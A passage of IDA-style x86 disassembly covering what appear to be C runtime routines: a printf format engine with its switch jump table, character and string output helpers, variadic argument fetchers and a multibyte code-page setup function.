ebx, 0FFFFFFFFh jz short loc_41FEE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FEEC ; --------------------------------------------------------------------------- loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j mov eax, offset dword_43D4D0 loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj test byte ptr [eax+4], 20h jz short loc_41FEFF push 2 push 0 push ebx call sub_422F09 add esp, 0Ch loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j ; sub_41FE2A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF09: ; CODE XREF: sub_41FE2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FF29 or dword ptr [esi+0Ch], 20h jmp short loc_41FF38 ; --------------------------------------------------------------------------- loc_41FF29: ; CODE XREF: sub_41FE2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FF3B ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FE2A+10j ; sub_41FE2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FF38: ; CODE XREF: sub_41FE2A+FDj or eax, 0FFFFFFFFh loc_41FF3B: ; CODE XREF: sub_41FE2A+107j pop esi pop ebx pop ebp retn sub_41FE2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF3F proc near ; CODE XREF: sub_41C266+29p ; sub_41C360+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420658 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FF73 ; --------------------------------------------------------------------------- loc_41FF6B: ; CODE XREF: sub_41FF3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj cmp [ebp+var_14], edx jl loc_420658 cmp bl, 20h jl short loc_41FF94 cmp bl, 78h jg short loc_41FF94 movsx eax, bl mov al, [eax+42771Ch] and eax, 0Fh jmp short loc_41FF96 ; --------------------------------------------------------------------------- loc_41FF94: ; CODE XREF: sub_41FF3F+40j ; sub_41FF3F+45j xor eax, eax loc_41FF96: ; CODE XREF: sub_41FF3F+53j movsx eax, byte_42773C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420647 ; default jmp off_420660[eax*4] ; switch jump loc_41FFB4: ; DATA XREF: ___:off_420660o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 2 sub eax, 20h jz short loc_420012 sub eax, 3 jz short loc_420009 sub eax, 8 jz short loc_420000 dec eax dec eax jz short loc_41FFF7 sub eax, 3 jnz loc_420647 ; default or [ebp+var_4], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j or [ebp+var_4], 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: sub_41FF3F+A0j or [ebp+var_4], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FF3F+96j or [ebp+var_4], 2 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42001B: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 3 jnz short loc_420043 lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420647 ; default or [ebp+var_4], 4 neg eax loc_42003B: ; CODE XREF: sub_41FF3F+111j mov [ebp+var_20], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: sub_41FF3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] loc_42004C: ; DATA XREF: ___:00432860o ; ___:0043286Co lea eax, [ecx+eax*2-30h] jmp short loc_42003B ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov [ebp+var_10], edx ; jumptable 0041FFAD case 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42005A: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 5 jnz short loc_42007D lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420647 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42007D: ; CODE XREF: sub_41FF3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 49h ; jumptable 0041FFAD case 6 jz short loc_4200C2 cmp bl, 68h jz short loc_4200B9 cmp bl, 6Ch jz short loc_4200B0 cmp bl, 77h jnz loc_420647 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj or [ebp+var_4], 10h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_41FF3F+158j or [ebp+var_4], 20h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200C2: ; CODE XREF: sub_41FF3F+153j cmp byte ptr [edi], 36h jnz short loc_4200DB cmp byte ptr [edi+1], 34h jnz short loc_4200DB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200DB: ; CODE XREF: sub_41FF3F+186j ; sub_41FF3F+18Cj mov [ebp+var_30], edx loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov ecx, off_43CE78 ; jumptable 0041FFAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42010A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42010A: ; CODE XREF: sub_41FF3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 add esp, 0Ch jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420122: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 7 cmp eax, 67h jg loc_42034A cmp eax, 65h jge loc_4201CD cmp eax, 58h jg loc_42022B jz loc_4203BE sub eax, 43h jz loc_4201EE dec eax dec eax jz short loc_4201C3 dec eax dec eax jz short loc_4201C3 sub eax, 0Ch jnz loc_420549 test word ptr [ebp+var_4], 830h jnz short loc_42016C or byte ptr [ebp+var_4+1], 8 loc_42016C: ; CODE XREF: sub_41FF3F+227j ; sub_41FF3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_420179 mov esi, 7FFFFFFFh loc_420179: ; CODE XREF: sub_41FF3F+233j lea eax, [ebp+arg_8] push eax call sub_42071E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420392 test ecx, ecx jnz short loc_4201A1 mov ecx, off_43D094 mov [ebp+var_8], ecx loc_4201A1: ; CODE XREF: sub_41FF3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_4201AA: ; CODE XREF: sub_41FF3F+282j mov edx, esi dec esi test edx, edx jz loc_420389 cmp word ptr [eax], 0 jz loc_420389 inc eax inc eax jmp short loc_4201AA ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_41FF3F+212j ; sub_41FF3F+216j mov [ebp+var_34], 1 add bl, 20h loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4202B1 mov [ebp+var_10], 6 jmp loc_4202BF ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4201FA or byte ptr [ebp+var_4+1], 8 loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j ; sub_41FF3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420241 call sub_42073B push eax lea eax, [ebp+var_248] push eax call sub_424663 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420254 mov [ebp+var_28], 1 jmp short loc_420254 ; --------------------------------------------------------------------------- loc_42022B: ; CODE XREF: sub_41FF3F+1FBj sub eax, 5Ah jz short loc_420262 sub eax, 9 jz short loc_4201FA dec eax jz loc_420424 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FF3F+2C5j call sub_42071E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420254: ; CODE XREF: sub_41FF3F+2E1j ; sub_41FF3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420549 ; --------------------------------------------------------------------------- loc_420262: ; CODE XREF: sub_41FF3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx jz short loc_4202A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4202A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420294 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420294: ; CODE XREF: sub_41FF3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420546 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj ; sub_41FF3F+336j mov eax, off_43D090 mov [ebp+var_8], eax push eax jmp loc_42033F ; --------------------------------------------------------------------------- loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj jnz short loc_4202BF cmp bl, 67h jnz short loc_4202BF mov [ebp+var_10], 1 loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj ; sub_41FF3F:loc_4202B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43D420 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420311 cmp [ebp+var_10], 0 jnz short loc_420311 lea eax, [ebp+var_248] push eax call off_43D42C pop ecx loc_420311: ; CODE XREF: sub_41FF3F+3BCj ; sub_41FF3F+3C2j cmp bl, 67h jnz short loc_420328 test esi, esi jnz short loc_420328 lea eax, [ebp+var_248] push eax call off_43D424 pop ecx loc_420328: ; CODE XREF: sub_41FF3F+3D5j ; sub_41FF3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42033E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42033E: ; CODE XREF: sub_41FF3F+3F0j push edi loc_42033F: ; CODE XREF: sub_41FF3F+36Dj call sub_41B9C0 pop ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_42034A: ; CODE XREF: sub_41FF3F+1E9j sub eax, 69h jz loc_420424 sub eax, 5 jz loc_4203FA dec eax jz loc_4203E7 dec eax jz short loc_4203B7 sub eax, 3 jz loc_42016C dec eax dec eax jz loc_420428 sub eax, 3 jnz loc_420549 mov [ebp+var_2C], 27h jmp short loc_4203C5 ; --------------------------------------------------------------------------- loc_420389: ; CODE XREF: sub_41FF3F+270j ; sub_41FF3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420546 ; --------------------------------------------------------------------------- loc_420392: ; CODE XREF: sub_41FF3F+24Fj test ecx, ecx jnz short loc_42039F mov ecx, off_43D090 mov [ebp+var_8], ecx loc_42039F: ; CODE XREF: sub_41FF3F+455j mov eax, ecx loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4203B0 cmp byte ptr [eax], 0 jz short loc_4203B0 inc eax jmp short loc_4203A1 ; --------------------------------------------------------------------------- loc_4203B0: ; CODE XREF: sub_41FF3F+467j ; sub_41FF3F+46Cj sub eax, ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_4203B7: ; CODE XREF: sub_41FF3F+425j mov [ebp+var_10], 8 loc_4203BE: ; CODE XREF: sub_41FF3F+201j mov [ebp+var_2C], 7 loc_4203C5: ; CODE XREF: sub_41FF3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42042F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42042F or byte ptr [ebp+var_4+1], 2 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203FA: ; CODE XREF: sub_41FF3F+417j lea eax, [ebp+arg_8] push eax call sub_42071E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420413 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420418 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_41FF3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420418: ; CODE XREF: sub_41FF3F+4D2j mov [ebp+var_28], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420424: ; CODE XREF: sub_41FF3F+2F7j ; sub_41FF3F+40Ej or [ebp+var_4], 40h loc_420428: ; CODE XREF: sub_41FF3F+432j mov [ebp+var_C], 0Ah loc_42042F: ; CODE XREF: sub_41FF3F+491j ; sub_41FF3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420441 lea eax, [ebp+arg_8] push eax call sub_42072B pop ecx jmp short loc_420482 ; --------------------------------------------------------------------------- loc_420441: ; CODE XREF: sub_41FF3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420468 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42045D call sub_42071E pop ecx movsx eax, ax loc_42045A: ; CODE XREF: sub_41FF3F+527j ; sub_41FF3F+539j cdq jmp short loc_420482 ; --------------------------------------------------------------------------- loc_42045D: ; CODE XREF: sub_41FF3F+510j call sub_42071E pop ecx movzx eax, ax jmp short loc_42045A ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: sub_41FF3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42047A call sub_42071E pop ecx jmp short loc_42045A ; --------------------------------------------------------------------------- loc_42047A: ; CODE XREF: sub_41FF3F+531j call sub_42071E pop ecx xor edx, edx loc_420482: ; CODE XREF: sub_41FF3F+500j ; sub_41FF3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4204A3 test edx, edx jg short loc_4204A3 jl short loc_420492 test eax, eax jnb short loc_4204A3 loc_420492: ; CODE XREF: sub_41FF3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4204A7 ; --------------------------------------------------------------------------- loc_4204A3: ; CODE XREF: sub_41FF3F+547j ; sub_41FF3F+54Bj ... mov esi, eax mov edi, edx loc_4204A7: ; CODE XREF: sub_41FF3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4204B0 and edi, 0 loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj cmp [ebp+var_10], 0 jge short loc_4204BF mov [ebp+var_10], 1 jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204BF: ; CODE XREF: sub_41FF3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej mov eax, esi or eax, edi jnz short loc_4204CD and [ebp+var_1C], 0 loc_4204CD: ; CODE XREF: sub_41FF3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4204E3 mov eax, esi or eax, edi jz short loc_42051E loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DD20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DCB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420514 add ebx, [ebp+var_2C] loc_420514: ; CODE XREF: sub_41FF3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4204D3 ; --------------------------------------------------------------------------- loc_42051E: ; CODE XREF: sub_41FF3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420549 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42053C test eax, eax jnz short loc_420549 loc_42053C: ; CODE XREF: sub_41FF3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420546: ; CODE XREF: sub_41FF3F+35Fj ; sub_41FF3F+406j ... mov [ebp+var_C], eax loc_420549: ; CODE XREF: sub_41FF3F+21Bj ; sub_41FF3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420647 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420581 test bh, 1 jz short loc_420566 mov [ebp+var_16], 2Dh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420566: ; CODE XREF: sub_41FF3F+61Fj test bl, 1 jz short loc_420571 mov [ebp+var_16], 2Bh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420571: ; CODE XREF: sub_41FF3F+62Aj test bl, 2 jz short loc_420581 mov [ebp+var_16], 20h loc_42057A: ; CODE XREF: sub_41FF3F+625j ; sub_41FF3F+630j mov [ebp+var_1C], 1 loc_420581: ; CODE XREF: sub_41FF3F+61Aj ; sub_41FF3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4205A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4206E6 add esp, 10h test bl, 8 jz short loc_4205D3 test bl, 4 jnz short loc_4205D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4206B5 add esp, 10h loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj ; sub_41FF3F+680j cmp [ebp+var_24], 0 jz short loc_42061A cmp [ebp+var_C], 0 jle short loc_42061A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424663 pop ecx test eax, eax pop ecx jle short loc_42062F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4206E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4205E8 jmp short loc_42062F ; --------------------------------------------------------------------------- loc_42061A: ; CODE XREF: sub_41FF3F+698j ; sub_41FF3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4206E6 add esp, 10h loc_42062F: ; CODE XREF: sub_41FF3F+6BCj ; sub_41FF3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420647 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_420647: ; CODE XREF: sub_41FF3F+68j ; sub_41FF3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FF6B loc_420658: ; CODE XREF: sub_41FF3F+1Fj ; sub_41FF3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FF3F endp ; --------------------------------------------------------------------------- off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp ; sub_41FF3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420699 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4206A4 ; --------------------------------------------------------------------------- loc_420699: ; CODE XREF: sub_420680+9j push ecx push [ebp+arg_0] call sub_41FE2A pop ecx pop ecx loc_4206A4: ; CODE XREF: sub_420680+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4206B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420680+2Aj inc dword ptr [eax] pop ebp retn sub_420680 endp ; =============== S U B R O U T I N E ======================================= sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap ; sub_41FF3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4206E3 mov esi, [esp+8+arg_C] loc_4206C6: ; CODE XREF: sub_4206B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420680 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4206E3 mov eax, edi dec edi test eax, eax jg short loc_4206C6 loc_4206E3: ; CODE XREF: sub_4206B5+Bj ; sub_4206B5+25j pop edi pop esi retn sub_4206B5 endp ; =============== S U B R O U T I N E ======================================= sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p ; sub_41FF3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42071A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4206FC: ; CODE XREF: sub_4206E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420680 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42071A mov eax, ebx dec ebx test eax, eax jg short loc_4206FC loc_42071A: ; CODE XREF: sub_4206E6+Cj ; sub_4206E6+2Bj pop edi pop esi pop ebx retn sub_4206E6 endp ; =============== S U B R O U T I N E ======================================= sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p ; sub_41FF3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42071E endp ; =============== S U B R O U T I N E ======================================= sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42072B endp ; =============== S U B R O U T I N E ======================================= sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42073B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420749 proc near ; CODE XREF: sub_420B0D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4208E2 mov esi, eax pop ecx cmp esi, dword_4DD144 mov [ebp+arg_0], esi jz loc_4208D6 xor ebx, ebx cmp esi, ebx jz loc_4208CC xor edx, edx mov eax, offset dword_43D0A0 loc_42077D: ; CODE XREF: sub_420749+41j cmp [eax], esi jz short loc_4207F3 add eax, 30h inc edx cmp eax, offset dword_43D190 jl short loc_42077D lea eax, [ebp+var_18] push eax push esi nop call near ptr 26608E0h cmp eax, 1 jnz loc_4208C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 cmp [ebp+var_18], 1 mov dword_4DD144, esi rep stosd stosb mov dword_4DD364, ebx jbe loc_4208B2 cmp [ebp+var_12], 0 jz loc_420888 lea ecx, [ebp+var_11] loc_4207D0: ; CODE XREF: sub_420749+139j mov dl, [ecx] test dl, dl jz loc_420888 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4207E1: ; CODE XREF: sub_420749+A8j cmp eax, edx ja loc_42087C or byte_4DD261[eax], 4 inc eax jmp short loc_4207E1 ; --------------------------------------------------------------------------- loc_4207F3: ; CODE XREF: sub_420749+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43D0B0[esi] loc_42080F: ; CODE XREF: sub_420749+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420842 loc_420816: ; CODE XREF: sub_420749+F7j mov dl, [ecx+1] test dl, dl jz short loc_420842 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42083B mov edx, [ebp+var_4] mov dl, byte_43D098[edx] loc_420830: ; CODE XREF: sub_420749+F0j or byte_4DD261[eax], dl inc eax cmp eax, edi jbe short loc_420830 loc_42083B: ; CODE XREF: sub_420749+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420816 loc_420842: ; CODE XREF: sub_420749+CBj ; sub_420749+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42080F mov eax, [ebp+arg_0] mov dword_4DD15C, 1 push eax mov dword_4DD144, eax call sub_42092C lea esi, dword_43D0A4[esi] mov edi, offset dword_4DD150 movsd movsd pop ecx mov dword_4DD364, eax movsd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420749+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4207D0 loc_420888: ; CODE XREF: sub_420749+7Ej ; sub_420749+8Bj push 1 pop eax loc_42088B: ; CODE XREF: sub_420749+14Fj or byte_4DD261[eax], 8 inc eax cmp eax, 0FFh jb short loc_42088B push esi call sub_42092C pop ecx mov dword_4DD364, eax mov dword_4DD15C, 1 jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_4208B2: ; CODE XREF: sub_420749+74j mov dword_4DD15C, ebx loc_4208B8: ; CODE XREF: sub_420749+167j xor eax, eax mov edi, offset dword_4DD150 stosd stosd stosd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_4208C4: ; CODE XREF: sub_420749+51j cmp dword_4DBE4C, ebx jz short loc_4208DA loc_4208CC: ; CODE XREF: sub_420749+27j call sub_42095F loc_4208D1: ; CODE XREF: sub_420749+131j ; sub_420749+179j call sub_420988 loc_4208D6: ; CODE XREF: sub_420749+1Dj xor eax, eax jmp short loc_4208DD ; --------------------------------------------------------------------------- loc_4208DA: ; CODE XREF: sub_420749+181j or eax, 0FFFFFFFFh loc_4208DD: ; CODE XREF: sub_420749+18Fj pop edi pop esi pop ebx leave retn sub_420749 endp ; =============== S U B R O U T I N E 